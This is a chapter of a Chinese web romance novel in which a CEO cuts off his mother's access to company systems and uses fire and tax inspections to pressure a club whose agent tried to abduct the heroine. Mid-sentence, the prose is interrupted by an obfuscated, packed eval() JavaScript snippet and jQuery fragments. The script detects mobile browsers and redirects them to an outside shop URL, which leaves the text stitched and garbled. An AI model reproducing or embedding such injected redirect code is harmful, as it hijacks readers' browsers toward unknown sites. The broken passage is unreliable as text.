曼哈顿酒店。
顾夫人坐在自己套房的沙发上,换了一身藏青色的丝绸睡衣,手指夹着一支没点燃的女士烟。
她听到房门被捶响的声音。
五声连捶,每一下都让门框轻震。
拉开门。
门外站着她儿子。
脸上的那个巴掌印还没有完全消褪,半张脸泛着一层浅红。
她第一眼看到这个印记时嘴角抽了一下。
“哟,堂堂恒通说一不二的顾大总裁,竟也有挨巴掌的时候?小丫头力气倒是挺大。”
“你对她做了什么?”顾钧进门便直奔主题。
“怎么?开了庆功酒会,坐稳了总裁的位置,就得意到连亲妈都要审问了?我能做什么?不过是说了几句实话罢了。”
顾夫人把手从门框上松开,转身往沙发走,“我说你从来都可以跟外界联系。我说那次聚会你就在汉大。这些话怎么了?有一句是假的吗?”
她在沙发上坐下来,把腿翘起来,手指弹了弹那支没点燃的烟。
“一个大学时代的旧女友,还追到机场去了!不过是一时兴起的玩物罢了,你现在竟然为了这么个东西,跟你妈我这样说话?!”顾夫人声音陡然拔高,指尖狠狠戳着桌面。
“谁告诉你,是一时兴起?!当年是怎么回事,你心里比谁都清楚。”顾钧站在房间中央,黑眸沉沉。
顾夫人把烟从手里摘下来放在茶几上,在全蕾丝桌布上滚了两圈。她抬起眼睛看着儿子。
“你现在把当年我教你的那些手段,全使在自己亲妈身上了。加密系统。远程冻结。这些东西我教了你多少年?你是学会了。学会以后,为了一个女人就拿它们来对付我!”
“那得感谢您当年教得好。”顾钧接过话。他的声音里全是讽刺。
“您教我怎么调章,怎么冻结,怎么把越级的桩子一个一个的拿下。您手把手的教我,现在我把它们使回去,您应该骄傲。”
顾夫人嘴唇抿成一条线。
顾钧转身走到她套房的书桌。
桌上摊着一台笔记本电脑。那是顾夫人备用工作机,连了酒店的无线网,正连着恒通内网的人事权限模块。
他单手盖在笔记本屏幕上,“啪”的把屏幕推成黑的。
“从今天起,您的安全通信权限降到我上周设定的水准,永远不会再调回去。集团战略委员会下周改选,里面那三个您之前提名的人,我会重新提名。”
“至于您私人账户跟恒通财务系统的交叉结算通道,明天上午会关掉。如果您非要去找财务部闹,那边要有任何异动,都会过来找我重新签字确认。”
顾夫人脸色变了。她的手指在沙发上按出了五道深印。
“你——!”
“你什么你。”顾钧眉眼冷淡的把手从笔记本上拿开,转身往门口走。
“这些手段您全都认得。您也知道是谁教我的。”他走到门口时停了一下,带着字字沉狠的分量,“您下次再敢飞去找她,我不会只动几个人,只关几个权限。”
门关上了。
顾夫人独自坐在套房里。
她面前那支被摘下来的烟还在桌布上。
她伸手把它捡起来用力折成了两截。
陈特助的电话在顾钧连夜补签文件时再次打了进来。
“顾总,之前在纽约酒店外面下药想掳走沈律师的那个家伙已经招了。安全部连夜审的。他是水榭云都会所外围行动小组的成员,专门给会所干些零散脏活的,在这里呆了很多年了,所以当时没有排查出来。”
“上次我们报警劝退的水榭云都的那两个人,他们一出警局就卷入了一场下等街区的□□火并,手机被当场炸碎,就没有再想着联系那个外围的小喽啰,也没能将撤回的指令传达给他。
“他见过沈书钰的照片吗。”顾钧的声音降到零度以下。
陈特助在电话里沉默了片刻。
“见过。而且安保审讯记录里他说了一句话。安全部不敢在书面报告里写,让我私下补报给您。”
陈特助深吸一口气。
“那人说……‘这个妞到了会所一准儿能当花魁。’”
顾钧右手那只刚签完文件的万宝龙钢笔被他拦腰折断了,暗蓝色的墨汁从断裂口喷出来溅了他一手。
“别让他再出现在美国境内。”他说。
声音冷中带狠。“送墨西哥边境。别让我再见到他。”
陈特助在那头顿了半秒。“明白。”
顾钧把断笔丢进办公室的垃圾桶,走到写字楼的落地窗前。
纽约还在沉睡,哈德逊河上的船灯早已零落得只剩三盏,伶仃地浮着,像极了他此刻落单的影子。
他拨通了一个他从没在任何人面前拨过的号码。
电话那头响了三声接起来。
是一个男人的声音,低沉,但调子松散。
“顾钧。纽约几点了?大半夜的还不睡?”
“凌晨四点。陆徵,税务稽查上个月换了新人。”
电话那头安静了一会。
“你想动谁。”
“山脚下那片灰白色建筑群。水榭云都。”
陆徵是顾钧在京都认识的朋友,一个家世与能力都可以跟任何一方势力对碰的男人,此时在电话那头吹了声口哨。
“不愧是顾少啊,一动就是硬茬子。想做到哪个程度?”
“让它彻底关门大吉。”
陆徵静了一瞬。
“那个地方我们盯了很久,正在布局了,但不是现在。”
“那边啊,整片地的消防管道是全市最不规范的。隔墙用了可燃材料,逃生通道常年锁住,连消防演练记录也全都是伪造的。更不谈藏在那里的那些见不得光的业务了。”
“那就查消防。”顾钧说。“再查税务。他们的会费收入走的是私人账户,从不开票。客房记录里有一大半是没有入住登记的,接待的都是不露面的贵宾。把那些流水跟房号逐一对照,找几个已经被公开查处的在逃人员的刷卡记录往上牵,够他们停业整顿。”
“停业多久?”
顾钧把手里那块沾了墨汁的手帕丢在桌上。手帕落下去的时候是濡湿的,墨汁淌在办公桌的木质桌面上,留下一个不规则的黑斑。“我要让那扇门上的铜牌,至少有一周没有人去擦。”
陆徵轻笑了一声。
“行。尽快给你信。刚好我们也借着你这阵的由头,把那些藏在水面下的东西,顺带着查实了。”
这通电话挂断以后,顾钧又把水龙头的冷水开到最大,把他的脸和溅了墨汁的手冲了一遍。
冷水打在手掌边缘,把被钢笔崩溅的几滴暗蓝色墨水慢慢冲淡。
他以前从
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17789086|210301||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不轻易露底牌。
陆徵这种人物,他藏了七年多。
现在他全亮出来了。
手机在洗手台上震了一下。
陆徵发来一句话:“已经开始了。消防今天下午进场。”
顾钧把手机放下。
走廊里的感应灯亮了一下,又灭了。他站在黑暗里,把那只洗了墨的手抬起来。
虎口处是她昨天给他换纱布时蹭在上面的碘伏余渍。
清水冲过了,碘伏印记还留着在,他舍不得。
纽约这边的天还没亮,水榭云都会所的经理就打来电话。
陈特助代接了,把来电转移到顾钧手里。
来电显示上那串号码他见过,是上次那笔反洗钱审查被中止以后,会所那边备案的公线。
也是,京都那边正好是下午。
经理的声音已经不像上次那样傲慢了,添了几分急促。
“顾总。消防刚查了我们的隔墙。税务明天还要来。我们经不起这样的连续折腾了。能不能谈谈?”
顾钧往前倾了半寸,声线裹着冷意,“我没空。你们有半个小时时间。第一,和我母亲的所有联络,包括她身边人代传的任何消息,全部切断,半分口子都不许开。第二,这次纽约行动小组的底档,针对目标的内部记录,在你们的系统里彻底抹除。”每一个字都落得又慢又重,意思很明确,堵死了所有转圜的余地。
“第二条我们得——”
“那就继续查。”
“等等!”那头的呼吸粗重了,然后像被压下去了一样,停顿片刻,然后说,“我们做。”
顾钧挂断电话。
他的手机的屏幕灭了。
屏幕倒映着他的脸。
脸上的掌印已经消了大半,只留着一道浅浅的红痕。
纽约天照常亮了。
窗外来往的出租车把街面铺成一片黄白相间的图案。
顾钧俯身,将夜里摔过的东西一一捡起来。
动作很慢,像在完成一桩刻板的流程。
散得满地的文件被他按顺序重新摞齐,页边对齐得毫厘不差,规整得近乎偏执。
胸腔里那股灼人的火气早已顺着理智慢慢熄了,心底反倒空出一大块,钝钝地发沉,怎么填都填不上。
陈特助捧着刚打印好的航权许可证走进办公室时,百叶窗滤进来的晨光都带着几分压抑。
顾钧接过许可证只淡淡扫了一眼,从抽屉里把那张被她写过“骗子”的便签跟文件一道放进了贴身的文件夹内袋里。
等坐上协调妥当的湾流G650,云层之上的机舱更显静谧。
顾钧靠在舷窗边阖着眼,颊边那道淡红的掌印便格外清晰。
陈特助坐在斜后方,目光飞快掠过去又收回来,又掠过去又收回来......
他跟了顾钧这么多年,从没见过他这般模样。
想来沈律师那一巴掌,不仅落在脸上,也砸进了心里。
到底是怎样的争执,能闹成这样?
可八卦只敢在心里随便想想了,下一秒陈特助就落回自己的糟心事上。
老板心情不好,遭殃的从来是底下人。
他这大半个月攒下的加班餐报销单全卡在审批流程里,顾钧连系统都没点开过。
他捧着机上的简餐盒,连咀嚼都放轻了力道。